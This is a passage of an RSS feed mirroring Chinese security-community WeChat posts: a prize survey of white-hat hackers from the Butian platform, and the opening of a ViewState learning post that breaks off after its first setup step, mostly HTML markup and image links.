src="https://wechat2rss.xlab.app/img-proxy/?k=d8806ef3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibp8YjH4BpZodsIJmZOG8Cc3sbuM3IMcxPurjryDzTA8WTHZTNIXvP1SUVvWh0PzSTxssDxmwydNrQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p>



<p><a href="2247486136">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=2612054a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU0ODg2MDA0NQ%3D%3D%26mid%3D2247486136%26idx%3D1%26sn%3D9071229f94aa6b9342c9d5aebf4891aa%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 24 Jun 2021 17:23:00 +0800</pubDate>
    </item>
    <item>
      <title>有奖调研 | 2021白帽调研启动！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU0ODg2MDA0NQ==&amp;mid=2247486054&amp;idx=1&amp;sn=a616ce01f186cc6e6802e7f3d8d9e0b8</link>
      <description>2021白帽调研2021白帽调研网络世界的特种兵现实世界的守卫者你们借键盘指点江山你们用代码挥斥方遒技术与战</description>
      <content:encoded><![CDATA[<p>
<span>补天平台</span> <span>2021-06-16 18:31</span> <span style="display: inline-block;"></span>
</p>

<p>2021白帽调研2021白帽调研网络世界的特种兵现实世界的守卫者你们借键盘指点江山你们用代码挥斥方遒技术与战</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=d6b46429&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FWdbaA7b2IE6hLtcwibCQcKRLVQIVicUAlNhrWjAbiaTtjKzbnRnxLqBaib0zibic1cozEI4Hj5Jceb4Z9ev5QibzRNyHg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-role="outer" label="Powered by 135editor.com"><section data-tplid="102491" data-tools="135编辑器"><section data-role="outer" style="font-family: 思源黑体;"><section style="background-repeat: no-repeat;background-position: left top;padding: 10px;background-color: rgb(39, 42, 223);background-size: contain;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/WdbaA7b2IE6hLtcwibCQcKRLVQIVicUAlN0cjfQ3ib2ICTyiab3qER9u9aQCJIXAibuTaD39WLmSXLK4PQ02WDGn8Eg/640?wx_fmt=png&#34;);box-sizing: border-box;"><section><p><br/></p></section><section><section style="box-sizing:border-box;width: 50px;margin: 10px auto;"><img data-ratio="0.6865079365079365" style="box-sizing:border-box;width: 100%;display: block;" data-type="gif" data-w="252" src="https://wechat2rss.xlab.app/img-proxy/?k=8595c1d6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FWdbaA7b2IE6hLtcwibCQcKRLVQIVicUAlNDGLtQ6PicL4DzHP5GsxE2PWh1zb9Mbk3KekicCHefibN3q8viaJMbfed6A%2F640%3Fwx_fmt%3Dgif"/></section></section><section><section style="margin: 10px auto;text-align: center;"><section style="display: inline-block;"><section data-brushtype="text" style="font-size: 40px;letter-spacing: 5px;color: rgba(255, 237, 235, 0.22);box-sizing: border-box;"><strong>2021白帽调研</strong></section><p style="letter-spacing: 2px;margin-top: -32px;box-sizing: border-box;color: rgb(255, 255, 255);font-size: 48px;"><strong>2021白帽调研</strong></p></section></section></section><section style="padding-right: 15px;padding-left: 15px;box-sizing: border-box;"><section data-role="paragraph"><p style="text-align:center;max-inline-size: 100%;min-height: 1em;cursor: text;color: rgb(242, 242, 242);font-size: 14px;letter-spacing: 1.5px;caret-color: rgb(255, 0, 0);box-sizing: border-box !important;outline: none 0px !important;"><span style="max-inline-size: 100%;cursor: text;text-shadow: rgb(0, 176, 240) 2px 2px 10px;box-sizing: border-box !important;outline: none 0px !important;">网络世界的特种兵</span></p><p style="text-align:center;max-inline-size: 100%;min-height: 1em;cursor: text;color: rgb(242, 242, 242);font-size: 14px;letter-spacing: 1.5px;caret-color: rgb(255, 0, 0);box-sizing: border-box !important;outline: none 0px !important;"><span style="max-inline-size: 100%;cursor: text;text-shadow: rgb(0, 176, 240) 2px 2px 10px;box-sizing: border-box !important;outline: none 0px !important;">现实世界的守卫者</span></p><p style="text-align:center;max-inline-size: 100%;min-height: 1em;cursor: text;color: rgb(242, 242, 242);font-size: 14px;letter-spacing: 1.5px;caret-color: rgb(255, 0, 0);box-sizing: border-box !important;outline: none 0px !important;"><span style="max-inline-size: 100%;cursor: text;text-shadow: rgb(0, 176, 240) 2px 2px 10px;box-sizing: border-box !important;outline: none 0px !important;">你们借键盘指点江山</span></p><p style="text-align:center;max-inline-size: 100%;min-height: 1em;cursor: text;color: rgb(242, 242, 242);font-size: 14px;letter-spacing: 1.5px;caret-color: rgb(255, 0, 0);box-sizing: border-box !important;outline: none 0px !important;"><span style="max-inline-size: 100%;cursor: text;text-shadow: rgb(0, 176, 240) 2px 2px 10px;box-sizing: border-box !important;outline: none 0px !important;">你们用代码挥斥方遒</span></p><p style="text-align:center;max-inline-size: 100%;min-height: 1em;cursor: text;color: rgb(242, 242, 242);font-size: 14px;letter-spacing: 1.5px;caret-color: rgb(255, 0, 0);box-sizing: border-box !important;outline: none 0px !important;"><span style="max-inline-size: 100%;cursor: text;text-shadow: rgb(0, 176, 240) 2px 2px 10px;box-sizing: border-box !important;outline: none 0px !important;">技术与战略的完美结合</span></p><p style="text-align:center;max-inline-size: 100%;min-height: 1em;cursor: text;color: rgb(242, 242, 242);font-size: 14px;letter-spacing: 1.5px;caret-color: rgb(255, 0, 0);box-sizing: border-box !important;outline: none 0px !important;"><span style="max-inline-size: 100%;cursor: text;text-shadow: rgb(0, 176, 240) 2px 2px 10px;box-sizing: border-box !important;outline: none 0px !important;">让每一个漏洞无所遁形</span></p><p style="text-align:center;max-inline-size: 100%;min-height: 1em;cursor: text;color: rgb(242, 242, 242);font-size: 14px;letter-spacing: 1.5px;caret-color: rgb(255, 0, 0);box-sizing: border-box !important;outline: none 0px !important;"><span style="max-inline-size: 100%;cursor: text;font-size: 20px;text-shadow: rgb(0, 176, 240) 2px 2px 10px;box-sizing: border-box !important;outline: none 0px !important;"><strong style="max-inline-size: 100%;cursor: text;box-sizing: border-box !important;outline: none 0px !important;">“白帽子”</strong></span></p><p style="text-align:center;max-inline-size: 100%;min-height: 1em;cursor: text;color: rgb(242, 242, 242);font-size: 14px;letter-spacing: 1.5px;caret-color: rgb(255, 0, 0);box-sizing: border-box !important;outline: none 0px !important;"><span style="max-inline-size: 100%;cursor: text;text-shadow: rgb(0, 176, 240) 2px 2px 10px;box-sizing: border-box !important;outline: none 0px !important;">是你们的代号</span></p><p style="text-align:center;max-inline-size: 100%;min-height: 1em;cursor: text;color: rgb(242, 242, 242);font-size: 14px;letter-spacing: 1.5px;caret-color: rgb(255, 0, 0);box-sizing: border-box !important;outline: none 0px !important;"><span style="max-inline-size: 100%;cursor: text;text-shadow: rgb(0, 176, 240) 2px 2px 10px;box-sizing: border-box !important;outline: none 0px !important;">更是你们坚守的目标</span></p></section><section data-width="100%" style="box-sizing:border-box;margin-left: auto;margin-right: auto;width: 100%;flex: 0 0 100%;"><section style="margin-top: 10px;margin-right: 10px;margin-bottom: 10px;text-align: center;"><section style="color: rgb(252, 98, 56);border-width: 1px;border-style: solid;border-color: rgb(252, 98, 56);border-radius: 10px;box-shadow: rgb(252, 98, 56) 4px 4px 1px;padding: 1em;margin-top: 1.5em;box-sizing: border-box;"><section data-autoskip="1" style="text-align: justify;line-height:1.75em;letter-spacing: 1.5px;font-size:14px;color:#ffffff;"><p><span style="max-inline-size: 100%;cursor: text;box-sizing: border-box !important;outline: none 0px !important;"><strong style="max-inline-size: 100%;cursor: text;box-sizing: border-box !important;outline: none 0px !important;">尊敬的各位白帽子：</strong></span></p><p><br/></p><p><span style="color: rgb(242, 242, 242);text-decoration-style: solid;text-decoration-color: rgb(242, 242, 242);">     为更好的了解白帽子的现状，展现白帽子的社会价值，补天漏洞响应平台特对此进行调研，并制定了《2021中国白帽子调研问卷》，以便能从中发现问题，认可价值，肯定成果，为维护网络安全做更大的贡献。</span></p><p><br/></p><p style="text-align:center;"><img data-ratio="1" data-w="124" data-type="jpeg" src="https://wechat2rss.xlab.app/img-proxy/?k=90b61584&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FWdbaA7b2IE6hLtcwibCQcKRLVQIVicUAlNvp5x9QzibooDPoEVamQyLmRJBSKULibM3Xg8jQdWChSJMiaiaPVyc1VRMA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align:center;"><span style="max-inline-size: 100%;cursor: text;box-sizing: border-box !important;outline: none 0px !important;"><strong style="max-inline-size: 100%;cursor: text;box-sizing: border-box !important;outline: none 0px !important;">请在</strong><strong>6月30</strong><strong style="max-inline-size: 100%;cursor: text;box-sizing: border-box !important;outline: none 0px !important;">日前扫描二维码</strong></span></p><p style="text-align:center;"><span style="max-inline-size: 100%;cursor: text;box-sizing: border-box !important;outline: none 0px !important;"><strong style="max-inline-size: 100%;cursor: text;box-sizing: border-box !important;outline: none 0px !important;">填写调研问卷</strong></span></p><p style="text-align:center;"><br/></p><section data-tools="135编辑器" data-id="104089"><section style="text-align: center;margin: 10px auto;"><section style="display: flex;justify-content: center;align-items: center;"><section style="box-sizing:border-box;width: 40px;flex-shrink: 0;"><img data-ratio="0.7205882352941176" style="box-sizing:border-box;width: 100%;display: block;" data-type="png" data-w="68" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=41564adb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FWdbaA7b2IE6hLtcwibCQcKRLVQIVicUAlNdwxY2fcicicPgmLC1NlicAt7McQicZUYibeiayAGjuiaSicIEib3ABwNRom0Rsg%2F640%3Fwx_fmt%3Dpng"/></section><section data-brushtype="text" style="font-size: 16px;color: rgb(255, 161, 99);padding-right: 8px;padding-left: 8px;box-sizing: border-box;" hm_fix="292:305"><span style="font-size: 20px;"><strong>奖项设置</strong></span></section><section style="box-sizing:border-box;width: 11px;flex-shrink: 0;"><img data-ratio="1" style="box-sizing:border-box;width: 100%;display: block;" data-type="png" data-w="22" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=73e71afe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FWdbaA7b2IE6hLtcwibCQcKRLVQIVicUAlN9sNeswH1WOxwoZ9Kw41sicibTvoEwyVYCK6XCCDuMSIpv1AZW41FTxibg%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><p style="text-align:left;max-inline-size: 100%;min-height: 1em;cursor: text;color: rgb(252, 98, 56);font-size: 17px;caret-color: rgb(255, 0, 0);box-sizing: border-box !important;outline: none 0px !important;"><span style="max-inline-size: 100%;cursor: text;font-size: 14px;color: rgb(242, 242, 242);text-decoration-style: solid;text-decoration-color: rgb(242, 242, 242);box-sizing: border-box !important;outline: none 0px !important;">为了感谢您对2021中国白帽子人才研究做出的贡献，参与调研的白帽子均可参与抽奖：</span></p><p style="text-align:left;max-inline-size: 100%;min-height: 1em;cursor: text;color: rgb(252, 98, 56);font-size: 17px;caret-color: rgb(255, 0, 0);box-sizing: border-box !important;outline: none 0px !important;"><br/></p><p style="text-align:left;max-inline-size: 100%;min-height: 1em;cursor: text;color: rgb(252, 98, 56);font-size: 17px;caret-color: rgb(255, 0, 0);box-sizing: border-box !important;outline: none 0px !important;"><span style="max-inline-size: 100%;cursor: text;font-size: 14px;color: rgb(255, 255, 255);box-sizing: border-box !important;outline: none 0px !important;"><strong style="max-inline-size: 100%;cursor: text;box-sizing: border-box !important;outline: none 0px !important;">一等奖：白帽大会VIP票</strong></span><span style="max-inline-size: 100%;cursor: text;font-size: 14px;color: rgb(255, 255, 255);box-sizing: border-box !important;outline: none 0px !important;"><strong style="max-inline-size: 100%;cursor: text;box-sizing: border-box !important;outline: none 0px !important;">+补天</strong></span><span style="max-inline-size: 100%;cursor: text;font-size: 14px;color: rgb(255, 255, 255);box-sizing: border-box !important;outline: none 0px !important;"><strong style="max-inline-size: 100%;cursor: text;box-sizing: border-box !important;outline: none 0px !important;">平台大礼包（3名）</strong></span></p><p style="text-align:left;max-inline-size: 100%;min-height: 1em;cursor: text;color: rgb(252, 98, 56);font-size: 17px;caret-color: rgb(255, 0, 0);box-sizing: border-box !important;outline: none 0px !important;"><span style="max-inline-size: 100%;cursor: text;font-size: 14px;color: rgb(255, 255, 255);box-sizing: border-box !important;outline: none 0px !important;"><strong style="max-inline-size: 100%;cursor: text;box-sizing: border-box !important;outline: none 0px !important;">二等奖：补天平台大礼包（10名）</strong></span></p><p style="text-align:left;max-inline-size: 100%;min-height: 1em;cursor: text;color: rgb(252, 98, 56);font-size: 17px;caret-color: rgb(255, 0, 0);box-sizing: border-box !important;outline: none 0px !important;"><span style="max-inline-size: 100%;cursor: text;font-size: 14px;color: rgb(255, 255, 255);box-sizing: border-box !important;outline: none 0px !important;"><strong style="max-inline-size: 100%;cursor: text;box-sizing: border-box !important;outline: none 0px !important;">三等奖：补天8周年T恤（30名）</strong></span></p><p style="text-align:left;max-inline-size: 100%;min-height: 1em;cursor: text;color: rgb(252, 98, 56);font-size: 17px;caret-color: rgb(255, 0, 0);box-sizing: border-box !important;outline: none 0px !important;"><strong style="max-inline-size: 100%;cursor: text;box-sizing: border-box !important;outline: none 0px !important;"><span style="max-inline-size: 100%;cursor: text;font-size: 14px;color: rgb(242, 242, 242);text-decoration-style: solid;text-decoration-color: rgb(242, 242, 242);box-sizing: border-box !important;outline: none 0px !important;">（抽奖时间定于调研完成后）</span></strong></p><p style="text-align:center;max-inline-size: 100%;min-height: 1em;cursor: text;color: rgb(252, 98, 56);font-size: 17px;caret-color: rgb(255, 0, 0);box-sizing: border-box !important;outline: none 0px !important;"><br/></p><p style="text-align:left;max-inline-size: 100%;min-height: 1em;cursor: text;color: rgb(252, 98, 56);font-size: 17px;caret-color: rgb(255, 0, 0);box-sizing: border-box !important;outline: none 0px !important;"><span style="max-inline-size: 100%;cursor: text;font-size: 14px;color: rgb(242, 242, 242);text-decoration-style: solid;text-decoration-color: rgb(242, 242, 242);box-sizing: border-box !important;outline: none 0px !important;">本次问卷的调查结果仅用于《2021中国白帽子研究报告》，您的所有信息我们都会严格保密，请您放心填写。</span></p><p style="text-align:left;max-inline-size: 100%;min-height: 1em;cursor: text;color: rgb(252, 98, 56);font-size: 17px;caret-color: rgb(255, 0, 0);box-sizing: border-box !important;outline: none 0px !important;"><br/></p><p style="text-align:center;max-inline-size: 100%;margin-top: -15px;min-height: 1em;cursor: text;color: rgb(252, 98, 56);font-size: 17px;caret-color: rgb(255, 0, 0);box-sizing: border-box !important;outline: none 0px !important;"><span style="max-inline-size: 100%;cursor: text;font-size: 14px;color: rgb(242, 242, 242);text-decoration-style: solid;text-decoration-color: rgb(242, 242, 242);box-sizing: border-box !important;outline: none 0px !important;">衷心感谢您的支持与参与！</span></p><p style="text-align:center;"><br/></p></section></section></section></section><section><section data-id="102368"><section style="margin: 10px auto;text-align: center;"><section><section style="display: flex;justify-content: center;align-items: center;"><section style="box-sizing:border-box;width: 0px;height: 1px;border-left: 10px solid transparent;border-right: 10px solid transparent;border-top: 16px solid #fc6238;overflow: hidden;"><br/></section></section></section></section></section></section><section data-id="102378"><section style="margin: 10px auto;text-align: center;"><section style="display: flex;justify-content: center;align-items: center;"><section style="font-size: 16px;letter-spacing: 1.5px;padding: 6px 1.2em;color: rgb(252, 98, 56);border-width: 1px;border-style: solid;border-color: rgb(252, 98, 56);border-radius: 10px;box-shadow: rgb(252, 98, 56) 3px 3px 1px;box-sizing: border-box;"><section data-brushtype="text" style="color: rgb(255, 255, 255);caret-color: rgb(255, 0, 0);display: inline !important;"><span style="font-size: 20px;"><strong>合作伙伴</strong></span></section></section></section></section></section><section data-id="102372"><section style="margin-top: 10px;margin-right: 10px;margin-bottom: 10px;text-align: center;"><section style="color: rgb(252, 98, 56);border-width: 1px;border-style: solid;border-color: rgb(252, 98, 56);border-radius: 10px;box-shadow: rgb(252, 98, 56) 4px 4px 1px;padding: 1em;margin-top: 1.5em;box-sizing: border-box;"><section data-role="paragraph"><p style="text-align:left;"><img data-ratio="1.4435185185185184" data-w="1080" data-type="jpeg" src="https://wechat2rss.xlab.app/img-proxy/?k=03e13bdc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FWdbaA7b2IE6hLtcwibCQcKRLVQIVicUAlNALmSJhMpoqftsWm1icE56Lp2o40yMUzd15UJjmoZ2Uib8KS9DCvwjByQ%2F640%3Fwx_fmt%3Djpeg"/></p></section></section></section></section></section></section></section></section><section data-role="paragraph"><p><br/></p><section data-brushtype="text" hm_fix="240:235" style="margin-top: -6px;margin-right: 1em;margin-left: 1em;padding: 12px 0em 12px 2em;max-width: 100%;font-size: 14px;letter-spacing: 1.5px;color: rgb(52, 110, 183);background: rgb(234, 240, 248);box-sizing: border-box !important;overflow-wrap: break-word !important;">分享、点赞、在看，一键三连，yyds。</section><section style="margin-top: -32px;max-width: 100%;display: flex;justify-content: flex-start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="box-sizing: border-box;max-width: 100%;width: 32px;overflow-wrap: break-word !important;"><img class="__bg_gif" data-ratio="0.8768115942028986" style="box-sizing: border-box;display: block;width: 31.9886px;overflow-wrap: break-word !important;visibility: visible !important;" data-type="gif" data-w="276" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=dcbcef15&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FFIBZec7ucChYUNicUaqntiamEgZ1ZJYzLRasq5S6zvgt10NKsVZhejol3iakHl3ItlFWYc8ZAkDa2lzDc5SHxmqjw%2F640%3Fwx_fmt%3Dgif"/></section></section><section style="margin-top: -6px;max-width: 100%;display: flex;justify-content: flex-end;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-width="60%" style="box-sizing: border-box;max-width: 100%;width: 346.903px;height: 1px;background: rgb(52, 110, 183);overflow: hidden;transform: rotate(0deg);overflow-wrap: break-word !important;"><br/></section></section></section></section>



<p><a href="2247486054">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ac593dff&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU0ODg2MDA0NQ%3D%3D%26mid%3D2247486054%26idx%3D1%26sn%3Da616ce01f186cc6e6802e7f3d8d9e0b8%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 16 Jun 2021 18:31:00 +0800</pubDate>
    </item>
    <item>
      <title>文末赠书｜ViewState学习</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU0ODg2MDA0NQ==&amp;mid=2247486052&amp;idx=1&amp;sn=4ef337ca2d68a6cabf969f6dbda2fb51</link>
      <description>文末正版好书赠送《企业信息安全建设与运维指南》活动5本，值得拥有，等你参与哦！认识ViewState使用vs</description>
      <content:encoded><![CDATA[<p>
<span>CHABUG最帅运营</span> <span>2021-06-13 12:13</span> <span style="display: inline-block;"></span>
</p>

<p>文末正版好书赠送《企业信息安全建设与运维指南》活动5本，值得拥有，等你参与哦！认识ViewState使用vs</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=9e4e181c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FzleycDibFeibqxXCIN2iaFhQeC4FrZFWVuE9lIBiaLQ5wMPxd2VZib3hV1gExnSNuw8aQVvS3QXzPicuFcShHLCMJI0A%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="box-sizing: border-box;margin-right: auto;margin-bottom: 1em;margin-left: auto;padding-right: 1em;padding-left: 1em;font-weight: bold;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);"><span data-darkmode-bgcolor-16235558178546="rgb(45, 45, 45)" data-darkmode-original-bgcolor-16235558178546="#fff|rgb(235, 235, 235)" data-style="font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.5px; text-align: left; background-color: rgb(235, 235, 235); font-size: 13px;" class="js_darkmode__0" style="max-width: 100%;background-color: rgb(235, 235, 235);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.5px;text-align: left;font-size: 13px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-darkmode-bgcolor-16235558178546="rgb(45, 45, 45)" data-darkmode-original-bgcolor-16235558178546="#fff|rgb(235, 235, 235)" data-darkmode-color-16235558178546="rgb(141, 141, 141)" data-darkmode-original-color-16235558178546="#fff|rgb(89, 89, 89)" data-style="color: rgb(89, 89, 89);" class="js_darkmode__1" style="max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">文末</span></span><span data-darkmode-bgcolor-16235558178546="rgb(45, 45, 45)" data-darkmode-original-bgcolor-16235558178546="#fff|rgb(235, 235, 235)" data-style="font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.5px; text-align: left; background-color: rgb(235, 235, 235); font-size: 13px;" class="js_darkmode__0" style="max-width: 100%;background-color: rgb(235, 235, 235);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.5px;text-align: left;font-size: 13px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(205, 205, 205) !important;"><span data-darkmode-bgcolor-16235558178546="rgb(45, 45, 45)" data-darkmode-original-bgcolor-16235558178546="#fff|rgb(235, 235, 235)" data-darkmode-color-16235558178546="rgb(141, 141, 141)" data-darkmode-original-color-16235558178546="#fff|rgb(89, 89, 89)" data-style="color: rgb(89, 89, 89);" class="js_darkmode__1" style="max-width: 100%;color: rgb(89, 89, 89);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">正版好书赠送</span><span data-darkmode-bgcolor-16235558178546="rgb(45, 45, 45)" data-darkmode-original-bgcolor-16235558178546="#fff|rgb(235, 235, 235)" data-darkmode-color-16235558178546="rgb(255, 76, 0)" data-darkmode-original-color-16235558178546="#fff|rgb(255, 76, 0)" style="max-width: 100%;color: rgb(255, 76, 0);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">《</span></span><span data-darkmode-bgcolor-16235558178546="rgb(45, 45, 45)" data-darkmode-original-bgcolor-16235558178546="#fff|rgb(235, 235, 235)" data-darkmode-color-16235558178546="rgb(255, 76, 0)" data-darkmode-original-color-16235558178546="#fff|rgb(255, 76, 0)" data-style="font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.5px; text-align: left; background-color: rgb(235, 235, 235); color: rgb(255, 76, 0); font-size: 13px;" class="js_darkmode__2" style="max-width: 100%;background-color: rgb(235, 235, 235);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.5px;text-align: left;color: rgb(255, 76, 0);font-size: 13px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">企业信息安全建设与运维指南</span><span data-darkmode-bgcolor-16235558178546="rgb(45, 45, 45)" data-darkmode-original-bgcolor-16235558178546="#fff|rgb(235, 235, 235)" data-style="font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.5px; text-align: left; background-color: rgb(235, 235, 235); font-size: 13px;" class="js_darkmode__3" style="max-width: 100%;background-color: rgb(235, 235, 235);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.5px;text-align: left;font-size: 13px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(205, 205, 205) !important;"><span data-darkmode-bgcolor-16235558178546="rgb(45, 45, 45)" data-darkmode-original-bgcolor-16235558178546="#fff|rgb(235, 235, 235)" data-darkmode-color-16235558178546="rgb(255, 76, 0)" data-darkmode-original-color-16235558178546="#fff|rgb(255, 76, 0)" style="max-width: 100%;color: rgb(255, 76, 0);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">》</span><span data-darkmode-bgcolor-16235558178546="rgb(45, 45, 45)" data-darkmode-original-bgcolor-16235558178546="#fff|rgb(235, 235, 235)" data-darkmode-color-16235558178546="rgb(141, 141, 141)" data-darkmode-original-color-16235558178546="#fff|rgb(89, 89, 89)" data-style="color: rgb(89, 89, 89);" class="js_darkmode__4" style="max-width: 100%;color: rgb(89, 89, 89);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">活动5本，值得拥有，等你参与哦！</span></span></h1><h1 style="box-sizing: border-box;margin-right: auto;margin-bottom: 1em;margin-left: auto;padding-right: 1em;padding-left: 1em;font-weight: bold;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">认识ViewState</h1><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">使用vs2019创建一个新的项目</p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="212" data-backw="319" data-ratio="0.6640625" title="null" data-type="png" data-w="1024" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=d99f2e2f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqxXCIN2iaFhQeC4FrZFWVuEpeTzDZTLxrcE70eYz5Oquicm2vI4OCyg8vBuTc27OpyLGZm1iaeMl0Lg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="212" data-backw="319" data-ratio="0.6640625" title="null" data-type="png" data-w="1024" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, 